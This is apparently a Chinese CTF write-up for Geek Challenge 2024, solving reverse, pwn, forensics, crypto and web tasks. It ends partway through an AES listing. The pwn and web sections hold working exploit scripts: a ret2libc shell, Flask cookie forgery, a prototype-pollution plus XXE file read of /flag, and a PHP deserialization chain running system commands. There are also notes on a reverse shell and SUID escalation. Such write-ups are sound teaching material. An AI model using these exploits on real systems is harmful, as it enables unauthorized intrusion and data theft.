v6[0] = sub_551519() % 255;
sub_5512E4(v6);
}
for ( i = 0; i < dword_566004; ++i )
{
v2 = sub_55128A(i);
v7 = *v2 ^ *sub_551113(i);
Buf2[i] = v7;
}
if ( !j_memcmp(&unk_562C30, Buf2, 4 * dword_566004) )
v3 = sub_55138E(std::cout, "you get it");
else
v3 = sub_55138E(std::cout, "Wrong");
std::ostream::operator<<(v3, sub_551073);
sub_551519();
LOBYTE(v12) = 0;
sub_551438(v10);
v12 = -1;
sub_551726(v11);
LODWORD(v1) = 0;
}
else
{
v6[3] = 0;
LOBYTE(v12) = 0;
sub_551438(v10);
v12 = -1;
sub_551726(v11);
LODWORD(v1) = 0;
}
v5 = v1;
sub_551456(&savedregs, &loc_55A008);
return v5;
}

逻辑为:先 srand(0x7DE9),再将输入的每个字符异或 rand()%255

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>

int main()
{
int c[50]={62, 152, 235, 38, 37, 142, 37, 229, 134, 200, 63, 152, 200, 222, 82, 68, 160, 203, 43, 42, 60, 170, 190, 203, 136, 85, 158, 109, 217, 148, 151, 28, 82, 49, 89, 254, 26, 26, 232, 208, 58, 156, 6, 94, 37, 90, 228, 34, 161, 197};
srand(0x7DE9u);
for(int i=0;i<50;++i){
printf("%c",(rand()%255)^c[i]);
}

return 0;
}

// SYC{Y0u_c@n_3nJoy_yhe_Flow3r_anytime_and_anywhere}

Pwn

su~~~~

C罗?su~~~~

直接用ret2libc可解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(arch='amd64',os='linux')

r=remote('nc1.ctfplus.cn',27612)
elf=ELF('su_____/csu')
libc=ELF('su_____/libc.so.6')

puts_plt=elf.plt.puts
puts_got=elf.got.puts
pop_rdi=0x400903
ret=0x4005d6
back=elf.sym.writesomething

r.sendlineafter(b'exit.\n',b'1')
pl=flat([b'a'*(0x80+8),pop_rdi,puts_got,puts_plt,back])
r.send(pl)
puts_addr=u64(r.recv(6)+b'\x00'*2)
success(f'{puts_addr:x}')

libc_base=puts_addr-libc.sym.puts
success(f'{libc_base:x}')
system=libc_base+libc.sym.system
binsh=libc_base+next(libc.search(b'/bin/sh\x00'))

pl=flat([b'a'*(0x80+8),ret,pop_rdi,binsh,system,back])
r.send(pl)

r.interactive()

Week3

Misc

Forensics

听说爱冒险的lhRaMk7师傅最近换了个浏览器,似乎藏了一些有用的东西…

下载链接: https://pan.baidu.com/s/1p_90wi798gG7wuREGQkhvw?pwd=game 提取码: game

Geek2024.ad1 文件,文件头为 ADSEGMENTEDFILE,查为AccessData逻辑镜像文件,使用AccessData FTK Imager打开。

提示浏览器,Public/Desktop 目录下有Firefox和Edge的快捷方式,Geek2024/Document 目录下有 Adventure.txt

base64隐写得到:100011111001011100101110101101100100110000011001001101001010011111100111000110100000,7bits转字符:Geek2024Syc

寻找火狐浏览器相关文件,在 Geek2024/AppData/Roaming/Mozilla/Firefox/Profiles/uf11qmty.default 中,尝试用firepwd工具还原:
python firepwd.py -p Geek2024Syc -d uf11qmty.default

无有效信息,参考:[GKCTF 2021]FireFox Forensics1 关于 Firefox的网站密码存储

下载安装火狐浏览器,新建密码,Win+R,输入 %AppData%\Mozilla\Firefox\Profiles,进入第一个文件夹,替换取出的 key4.dblogins.json,重新打开火狐浏览器,进入密码界面,输入主密码 Geek2024Syc,显示密码,得到:

1
2
3
4
5
6
网址
http://geek2024.welc0me.you
用户名
Geek2024
密码
SYC{F1ref0x_F0r3ns1cs_Mas7er}

Crypto

ecc

椭圆曲线加密,flag前缀为SYC{xx}

$M=C_1-kC_2$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#Sage
p = 93202687891394085633786409619308940289806301885603002539703165565954917915237
a = 93822086754590882682502837744000915992590989006575416134628106376590825652793
b = 80546187587527518012258369984400999843218609481640396827119274116524742672463
F = GF(p)
E = EllipticCurve(F,[a,b])

k = 58946963503925758614502522844777257459612909354227999110879446485128547020161
c1 = E(40485287784577105052142632380297282223290388901294496494726004092953216846111, 81688798450940847410572480357702533480504451191937977779652402489509511335169)
c2 = E(51588540344302003527882762117190244240363885481651104291377049503085003152858, 77333747801859674540077067783932976850711668089918703995609977466893496793359)
cipher_left = 34210996654599605871773958201517275601830496965429751344560373676881990711573
cipher_right = 62166121351090454316858010748966403510891793374784456622783974987056684617905

m = (c1-k*c2).xy()
m1 = F(cipher_left)/m[0]
m2 = F(cipher_right)/m[1]
print(bytes.fromhex(hex(m1)[2:])+bytes.fromhex(hex(m2)[2:]))

# b'SYC{Ecc$is!sO@HaRd}'

ezRSA

coppersmith,flag前缀为SYC{xx}

已知m高位,coppersmith求解。

1
2
3
4
5
6
7
8
9
10
11
12
13
n = 98776098002891477120992675696155328927086322526307976337988006606436135336004472363084175941067711391936982491358233723506086793155908108571814951698009309071244571404116817767749308434991695075517682979438837852005396491907180020541510210086588426719828012276157990720969176680296088209573781988504138607511
c = 9379399412697943604731810117788765980709097637865795846842608472521416662350816995261599566999896411508374352899659705171307916591351157861393506101348972544843696221631571188094524310759046142743046919075577350821523746192424192386688583922197969461446371843309934880019670502610876840610213491163201385965
h = 111518648179416351438603824560360041496706848494616308866057817087295675324528913254309319829895222661760009533326673551072163865
e = 3
mh=(h+2023)*inverse_mod(2024,n)%n

PR.<x> = PolynomialRing(Zmod(n))
f = (mh + x)^e - c
root=f.small_roots(X=2^150, beta=1)
m = mh+root[0]
print(bytes.fromhex(hex(m)[2:]))

# b'SYC{crypto_is_very_interesting_why_dont_you_join_us}'

RnoCRT

Also gcd!=1

crt+sha256爆破。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import hashlib
from Crypto.Util.number import *

m=[207867980504656835313307696396607264603, 245036212212570610987366430554968489325, 270836744824069537438646110613439698666, 319275775495422875474878625752594133023, 254268823435329877199449670714528712873, 213093607196415232366564484229844568444, 246921085368773491003187313772615702950]
c=[150031581047390726903711035932621949276, 21260202376534810598778595491323328519, 144049733622518360270048059408969512643, 236920143187836025924037873968303507493, 99781504248790469459151935530031893836, 69236016568483424294966410179787943383, 20613188366058016717435734248097940419]
x=crt(c,m)

l=1
for i in range(7):
l=lcm(l,m[i])

for k in range(10000):
y=x+k*l
h1=hashlib.sha256(str(y).encode()).hexdigest()
h2=hashlib.sha256(long_to_bytes(y)).hexdigest()
if h1[:5]=='6a651':
print('case 1')
print(k)
print(f'SYC{{{h1}}}')
if h2[:5]=='6a651':
print('case 2')
print(k)
print(f'SYC{{{h2}}}')


#case 1
#3804
#SYC{6a651b7ce47b35cc1aca565028fb633fab9e35ca08e45d5ce987a6caeb500465}

LLL

基础LLL,flag前缀为SYC{xx}

构造格,加大系数 $K=2^{176}$ 配平:

$(m,-1,k)\begin{bmatrix} 1 & 0 & a \newline 0 & K & b \newline 0 & 0 & p \end{bmatrix}=(m,-K,-c)$

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import *

a = 169790849804323540946197204708402762862586197604183102589270741859708550301920348112941305999764092197996929298474590062625556806793613268527763774013772685954699561684244945434843656515307801882995934869499880288594142919381501796488815033294127591623260894764750214588993456840404443515671353802614450411717
b = 87985708831523238980948938165414984318379459926002798504435964538203443877988599888615810231215118828138306895572062833107988965151522391460216837691927960249874511818878134399363147008042562222910234739940697553852540265617603482995091203105040187460485673579382171260197291783748886765929376179151804062085
p = 131724494512065658801039766546788821718063963144467818735768040631367069153816254855229655449559099188694403260044990366292026916085340250077198735215774149087025577263769846650728593180101073940507285459917860726551385227481715873503612683249433020201729190862430476054822102865441136763977415824331858801617

K = 2^176
M = matrix(ZZ,[[1,0,a],[0,K,b],[0,0,p]])
L = M.LLL()
print(L)

m = abs(L[0][0])
print(long_to_bytes(int(m)))

b'SYC{1e989433efffd767589e989ad0f091075c06}'

Web

py_game

学习累了就来玩玩游戏休息一下吧

通关真的会给flag吗?

注册,拿到cookie,用flask-unsign爆破flask key:

flask-unsign --unsign --cookie 'eyJ1c2VybmFtZSI6ImFhYSJ9.ZyUUjg.WtjPt0cu-uBZcQP4mlALEs-LrWM' --wordlist rockyou.txt --no-literal-eval

得到:

1
2
3
4
[*] Session decodes to: {'username': 'aaa'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 768 attempts
b'a123456'

伪造admin:

flask-unsign --sign --cookie "{'username': 'admin'}" --secret a123456

替换cookie,以admin进入 /admin 路由,下载 app.pyc,反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
import json
from lxml import etree
from flask import Flask, request, render_template, flash, redirect, url_for, session, Response, send_file, jsonify
app = Flask(__name__)
app.secret_key = 'a123456'
app.config['xml_data'] = '<?xml version="1.0" encoding="UTF-8"?><GeekChallenge2024><EventName>Geek Challenge</EventName><Year>2024</Year><Description>This is a challenge event for geeks in the year 2024.</Description></GeekChallenge2024>'

class User:

def __init__(self, username, password):
self.username = username
self.password = password

def check(self, data):
return self.username == data['username'] and self.password == data['password']
admin = User('admin', '123456j1rrynonono')
Users = [admin]

def update(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and isinstance(v, dict):
update(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and isinstance(v, dict):
update(v, getattr(dst, k))
else:
setattr(dst, k, v)

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.username == username:
flash('用户名已存在', 'error')
return redirect(url_for('register'))
new_user = User(username, password)
Users.append(new_user)
flash('注册成功!请登录', 'success')
return redirect(url_for('login'))
else:
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
for u in Users:
if u.check({'username': username, 'password': password}):
session['username'] = username
flash('登录成功', 'success')
return redirect(url_for('dashboard'))
flash('用户名或密码错误', 'error')
return redirect(url_for('login'))
else:
return render_template('login.html')

@app.route('/play', methods=['GET', 'POST'])
def play():
if 'username' in session:
with open('/app/templates/play.html', 'r', encoding='utf-8') as file:
play_html = file.read()
return play_html
flash('请先登录', 'error')
return redirect(url_for('login'))

@app.route('/admin', methods=['GET', 'POST'])
def admin():
if 'username' in session and session['username'] == 'admin':
return render_template('admin.html', username=session['username'])
flash('你没有权限访问', 'error')
return redirect(url_for('login'))

@app.route('/downloads321')
def downloads321():
return send_file('./source/app.pyc', as_attachment=True)

@app.route('/')
def index():
return render_template('index.html')

@app.route('/dashboard')
def dashboard():
if 'username' in session:
is_admin = session['username'] == 'admin'
if is_admin:
user_tag = 'Admin User'
else:
user_tag = 'Normal User'
return render_template('dashboard.html', username=session['username'], tag=user_tag, is_admin=is_admin)
flash('请先登录', 'error')
return redirect(url_for('login'))

@app.route('/xml_parse')
def xml_parse():
try:
xml_bytes = app.config['xml_data'].encode('utf-8')
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.fromstring(xml_bytes, parser=parser)
result_xml = etree.tostring(tree, pretty_print=True, encoding='utf-8', xml_declaration=True)
return Response(result_xml, mimetype='application/xml')
except etree.XMLSyntaxError as e:
return str(e)
black_list = ['__class__'.encode(), '__init__'.encode(), '__globals__'.encode()]

def check(data):
print(data)
for i in black_list:
print(i)
if i in data:
print(i)
return False
return True

@app.route('/update', methods=['POST'])
def update_route():
if 'username' in session and session['username'] == 'admin':
if request.data:
try:
if not check(request.data):
return ('NONONO, Bad Hacker', 403)
data = json.loads(request.data.decode())
print(data)
if all(('static' not in str(value) and 'dtd' not in str(value) and ('file' not in str(value)) and ('environ' not in str(value)) for value in data.values())):
update(data, User)
return (jsonify({'message': '更新成功'}), 200)
return ('Invalid character', 400)
except Exception as e:
return (f'Exception: {str(e)}', 500)
else:
return ('No data provided', 400)
else:
flash('你没有权限访问', 'error')
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80, debug=False)

审计代码,/update 原型链污染 app.config['xml_data'] 为恶意xml代码,再访问 /xml_parse 触发XXE漏洞读文件。

原型链污染部分,用unicode编码绕过字符串过滤;XXE部分,将payload编码为UTF-16BE绕过。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import os

url = 'http://80-cdb52045-af65-4bfe-96b9-57db1b26eac5.challenge.ctfplus.cn'

cookie = {
'session':'eyJ1c2VybmFtZSI6ImFkbWluIn0.ZyUV7A.z-zuf8kzQ61LEbcsR7J4i80SyP0'
}

xml_data = '<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///flag">]><foo>&xxe;</foo>'
xml_data2 = os.popen(f'''echo '{xml_data}'| iconv -f utf-8 -t utf-16be''').read()
print(xml_data2)
json = {
'\u005f_init__':{
'\u005f_globals__':{
'app':{
'config':{
'xml_data':xml_data2
}
}
}
}
}
r = requests.post(f'{url}/update',json=json,cookies=cookie)
print(r.text)
r = requests.get(f'{url}/xml_parse')
print(r.text)

输出flag:

1
2
3
4
5
{"message":"\u66f4\u65b0\u6210\u529f"}

<?xml version='1.0' encoding='utf-8'?>
<foo>SYC{4eb08b2f-73a0-4088-9f64-4d6255918cc6}
</foo>

PHP不比Java差

Java有的我们PHP也有

反序列化链构造思路:

1
2
3
4
5
6
7
8
9
10
11
12
$FUNC=$change($data);
$FUNC();

$data为反序列化类中的变量和值构成的array
利用 [new Challenge(),'Sink']() 动态调用

$eee=new $this->Where($this->IS);
$fff=$this->Starven;
$eee->$fff($this->Girlfriend);

(new $a($b))->$c($d); 型
用原生类实现

先构造:

1
2
3
4
5
6
7
8
9
10
11
12
from phpserialize import *

class Challenge:
public_file='/etc/passwd'

class Geek:
public_a='x'
public_b=[Challenge(),'Sink']

print(serialize(Geek()))

# O:4:"Geek":2:{s:1:"a";s:1:"x";s:1:"b";a:2:{i:0;O:9:"Challenge":1:{s:4:"file";s:11:"/etc/passwd";}i:1;s:4:"Sink";}}
1
2
3
/?change=next
POST
data=O:4:"Geek":2:{s:1:"a";s:1:"x";s:1:"b";a:2:{i:0;O:9:"Challenge":1:{s:4:"file";s:11:"/etc/passwd";}i:1;s:4:"Sink";}}

得到提示:The True Flag is in /flag

RCE构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from phpserialize import *

class Syclover:
public_Where='ReflectionFunction'
public_IS='system'
public_Starven='invoke'
public_Girlfriend='ls -al /'

class Challenge:
public_file=Syclover()

class Geek:
public_a='x'
public_b=[Challenge(),'Sink']

print(serialize(Geek()))

# O:4:"Geek":2:{s:1:"a";s:1:"x";s:1:"b";a:2:{i:0;O:9:"Challenge":1:{s:4:"file";O:8:"Syclover":4:{s:10:"Girlfriend";s:8:"ls -al /";s:2:"IS";s:6:"system";s:7:"Starven";s:6:"invoke";s:5:"Where";s:18:"ReflectionFunction";}}i:1;s:4:"Sink";}}

得到:-r-------- 1 root root 42 Nov 6 11:53 flag

需要提权读/flag,修改命令反弹shell,反弹之后,find / -perm -u=s -type f 2>/dev/null 发现file命令有s权限,file -f /flag 提权读出flag。

Reverse

ez_hook

有个东西藏起来了,你能找到它吗

去掉反调试 if ( CheckRemoteDebuggerPresent(hProcess, &pbDebuggerPresent) && pbDebuggerPresent ) return 0;

动调,加密逻辑为:先reverse,再经过长度3的栅栏加密,再修改 sub_4017E0() 函数区域内容为 sub_4018B4(),逐字符异或7,得到密文:zoXpih^lhX6soX7lr~DTHtGpX|

逆回flag:SYC{you_kn0w_wh@t_1s_hoOk}

你干嘛~~

Am1re很喜欢找哥哥,你干嘛啊~~

分析发现base64字符串 ZmFrZXthcmVfeW08X6JlYWx4X6JpZ7h9fQ==,解码得到fake flag。

动调步进,发现SEH,异常进入catch。

sub_4D1A50() 函数发现SM4加密算法特征,如果加密结果和enc不同,则进入 loc_4D1EED,输出fake flag的base64。

获取SM4的key和IV为:

key=0O00O0O00OO0O0O0

iv=1III1II111I1I1I1

密文为:enc_hex=216CFDA6B682AFCC516AD1E2A93EA690

解SM4/ZeroBytePadding,得到 qwertyuiopasdfgh

作为key异或gif文件字节得到原始gif文件,其中一帧图有flag:SYC{111_YOU_WIN_THE_FLAG}.

blasting_master

艺术就是爆炸!艺术就是派大星!

动调发现加密逻辑为:

按下标+1每次循环取4个字符,md5后,对应的16个字符位每位做运算,m[i] = (7*((i+42)^m[i])+82*(i%15))&0xff,存入数组s2。

逆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
'''
# test
from hashlib import *
s = b'abcdef'

for j in range(len(s)):
ss = s[j:j+4]
m = list(bytes.fromhex(md5(ss).hexdigest()))

for i in range(16):
m[i] = (7*((i+42)^m[i])+82*(i%15))&0xff

#print(ss)
#print([hex(k)[2:] for k in m])
'''

from hashlib import md5
from Crypto.Util.number import *
import string
from pwnlib.util.iters import mbruteforce

table = string.printable

def dec(x):
t = list(bytes.fromhex(x))
for i in range(16):
t[i] = (((t[i]-82*(i%15))*inverse(7,256))^(i+42)) & 0xff
return bytes(t).hex()

def md5_bruteforce(c):
return mbruteforce(lambda x: md5(x.encode()).hexdigest()==c, table, length=4, method='fixed')

c = 'B250A0BC3A7F546D96070F719A72EBA5A0B571A46AB8BAFAE431C3715429A759202B1321BD675F8D653A0227084F929CB57CDF6934B8822DF6CA7A659863DC512A34974FF8BC231F38A8A62FA90D644CAC2FF9F52DB191A8D576D92DC6AC2E6932D5641DC13CECF52C90EDF4178B554CE46C3BB3DA29C07B39DF9273FCC9C2A86811222B643F129B95732A05D33F2E33F185ED077B868F622D7903AC80CEF5B2A00CF7E1C50E6327D16523EA5A1C020B32BA1FE5C722A56677EA5BE464AB8B60B6DF00DCF76D93EC2F2F680750E0D11A3FC64E2EC6BBAE0840D85B11B5DC15357F63493E5B9C0DFC0DB680B72B00EF3C0C2FEB864457749E5F1F8BA1C901F1D8F49282956F85D215221FF09FD1AB51399AB6C4DAFB388DE68C57195E94DA57CCF0B90A4A1782FCC54F4B5AA5F4E53EFA3A0AF4B48E7F25847590CD3587EBC3CE812B86C9167E85682DF1DB8E7415CF955107885E1BE937C95BBA61EB9F7BE48910F06ECD7571AD09745849A3F533837522951BE33C48055CADA86BFD41EBAFC60228C65ECF36AE50CE93F270889D3F4A9F86E76764B002960CAB9FEB4B034492DE6CF4CE324F4F38E25259CA954A11D830A27BD53AE611DA3A4A3361396526D278BCEDBDA58B2B874C95472502BA833DDCE46AAD67DD22B1BD2B7C53113CD923063D20BA28C82D8951576382A0C8A8DE2961C15351B0BC3704EEC9358AA8A266BA6F24B63F62416D1046CB061239D90EF9DC19A765B8C040BEF6999AAF0216374DA5754C424B1AF052DA38F36BA91ADCFA80B060B1FD737B78D9628326BF163371796F112FE9A7BB4646D68FF6217EFC6812866BFC51C9707A74BC8F6E0B86426F5CFDF74E2771FE37E6C86247FCD56CBA5CD9295A73AEC38FF0469532422DD0'

c = [c[32*i:32*(i+1)] for i in range(len(c)//32)]
m = [dec(k) for k in c]
#print(m)

flag = ''
for i in range(0,len(m),4):
flag += md5_bruteforce(m[i])
print(flag)

# SYC{W0w!y0u_@re_th3_BeSt_blasting_Exp3rt

print(md5_bruteforce(m[-1]))
# t!!}

# SYC{W0w!y0u_@re_th3_BeSt_blasting_Exp3rt!!}

致我的星星

做到这里应该有点小累了吧,wwzx和tx师傅想给大家打打气,不看html窝真的会伤心的

下载链接链接: https://pan.baidu.com/s/1IHyv4iy0NS1YeV0_EmXhYg?pwd=game 提取码: game

审计 index.js 逻辑:

fl(e) 中,按下一串大写字母字符串,md5为 5c50152daeee511f32db7bf8a5502c69 则正确。

先解方程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from z3 import *
s = Solver()
a1,a2,a3,a4,a5,a6,a7,a8 = [Int(f'f{i}') for i in range(8)]

s.add(43654*a1 - 57003*a2 -3158*a3 + 30120*a4 -58621*a5 -41947*a6 +122237*a7 +129534*a8 == 2594143)
s.add(-48022*a1 + 18308*a2 + 52478*a3 + 69397*a4 +49696*a5 + 12288*a6 -40437*a7 -23154*a8 == 651137)
s.add(124109*a1 +58952*a2 + 16645*a3 -17531*a4 + 53139*a5 +49937*a6 + 3282*a7 +7656*a8 == 2071815)
s.add(108286*a1 + 118886*a2 +116876*a3 +2281*a4 -64590*a5 -3021*a6 + 13386*a7 -56070*a8 == 703)
s.add(105983*a1 + 8794*a2 + 31851*a3 -35052*a4 -7880*a5 + 2183*a6 + 47575*a7 +107236*a8 == 2511919)
s.add(-38005*a1 -6833*a2 +107897*a3 +119771*a4 +124322*a5 + 13335*a6+ 121590*a7 -17434*a8 == 4816084)
s.add(60696*a1 +95253*a2 +101581*a3 + 93822*a4 +112989*a5 +65643*a6 +45639*a7 + 26705*a8 == 5330538)
s.add(49019*a1 +72343*a2 -21814*a3 +85020*a4 -62332*a5 +99828*a6 + 587*a7 -65119*a8 == 505173)
print(s.check())
m = s.model()
res = []
for i in range(8):
res.append(m[eval(f'a{i+1}')].as_long())

print(res)

# [3, 4, 6, 8, 13, 13, 15, 15]

对应S和Y的坐标:S:(3,13) (8,13)Y:(4,15) (6,15)

往下看,2轮(chance)对应2个迷宫,方向键为:上T下R左S右A,S和Y坐标分别对应每个迷宫的起点和终点,打印迷宫(10*20,补充一行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
data = [
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#',
'#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#', '#'
]

coordinates = [
[1, 11], [1, 12], [1, 13], [1, 14],
[2, 1], [2, 4], [2, 11], [2, 12], [2, 14],
[3, 4], [3, 14],
[5, 7], [5, 8], [5, 12], [5, 14], [5, 15], [5, 18],
[6, 1], [6, 2], [6, 4], [6, 5], [6, 7], [6, 8], [6, 11], [6, 15],
[7, 1], [7, 5], [7, 11], [7, 12], [7, 13], [7, 14], [7, 15], [7, 16],
[8, 1], [8, 12], [8, 13], [8, 15], [8, 18],
[9, 3], [9, 4], [9, 6], [9, 7], [9, 8]
]

cols = 20
rows = 10

for (row,col) in coordinates:
index = row * cols + col
data[index] = '*'

# S:(3,13) (8,13)
# Y:(4,15) (6,15)
data[(3-1)*cols+(13-1)] = data[(8-1)*cols+(13-1)] = 'S'
data[(4-1)*cols+(15-1)] = data[(6-1)*cols+(15-1)] = 'Y'

print(len(data))

for i in range(10):
print(''.join(data[10*i:10*(i+1)]))

print()

for i in range(10,20):
print(''.join(data[10*i:10*(i+1)]))

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
200

##########
##########
##########
#****#####
#*##*#####
#*S#*#####
####*#####
####Y#####
##########
##########

#######**#
##*#Y*##*#
#**#**#**#
#*###*####
#*###*####
#*S****###
#*########
##**#*##*#
###**#***#
##########

第一轮(chance=0),从S到Y路径:STTAAARRRR

第二轮(chance=1),从S到Y路径:AAATTTTS

连起来,加flag壳,得到:SYC{STTAAARRRRAAATTTTS}

AES!

Am1re说AES一学一个不吱声

提取出:

1
2
3
4
5
key = b'SYCLOVERSYCLOVER'
c = [0x99, 0xE8, 0xB8, 0x01, 0xC8, 0x82, 0x51, 0x93, 0x12, 0xEE,
0x89, 0x64, 0xE7, 0xEF, 0x63, 0x8D, 0x51, 0xDF, 0x5D, 0x78,
0x39, 0xAA, 0x39, 0x62, 0xA0, 0xB4, 0x50, 0x30, 0x47, 0x30,
0x21, 0x06]

更改了AES的S盒,拿AES源码修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
#include <stdint.h>
#include <stdio.h>
#include <string.h>

typedef struct{
uint32_t eK[44], dK[44]; // encKey, decKey
int Nr; // 10 rounds
}AesKey;

#define BLOCKSIZE 16 //AES-128分组长度为16字节

// uint8_t y[4] -> uint32_t x
#define LOAD32H(x, y) \
do { (x) = ((uint32_t)((y)[0] & 0xff)<<24) | ((uint32_t)((y)[1] & 0xff)<<16) | \
((uint32_t)((y)[2] & 0xff)<<8) | ((uint32_t)((y)[3] & 0xff));} while(0)

// uint32_t x -> uint8_t y[4]
#define STORE32H(x, y) \
do { (y)[0] = (uint8_t)(((x)>>24) & 0xff); (y)[1] = (uint8_t)(((x)>>16) & 0xff); \
(y)[2] = (uint8_t)(((x)>>8) & 0xff); (y)[3] = (uint8_t)((x) & 0xff); } while(0)

// 从uint32_t x中提取从低位开始的第n个字节
#define BYTE(x, n) (((x) >> (8 * (n))) & 0xff)

/* used for keyExpansion */
// 字节替换然后循环左移1位
#define MIX(x) (((S[BYTE(x, 2)] << 24) & 0xff000000) ^ ((S[BYTE(x, 1)] << 16) & 0xff0000) ^ \
((S[BYTE(x, 0)] << 8) & 0xff00) ^ (S[BYTE(x, 3)] & 0xff))

// uint32_t x循环左移n位
#define ROF32(x, n) (((x) << (n)) | ((x) >> (32-(n))))
// uint32_t x循环右移n位
#define ROR32(x, n) (((x) >> (n)) | ((x) << (32-(n))))

/* for 128-bit blocks, Rijndael never uses more than 10 rcon values */
// AES-128轮常量
static const uint32_t rcon[10] = {
0x01000000UL, 0x02000000UL, 0x04000000UL, 0x08000000UL, 0x10000000UL,
0x20000000UL, 0x40000000UL, 0x80000000UL, 0x1B000000UL, 0x36000000UL
};
// S盒
/*
unsigned char S[256] = {
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
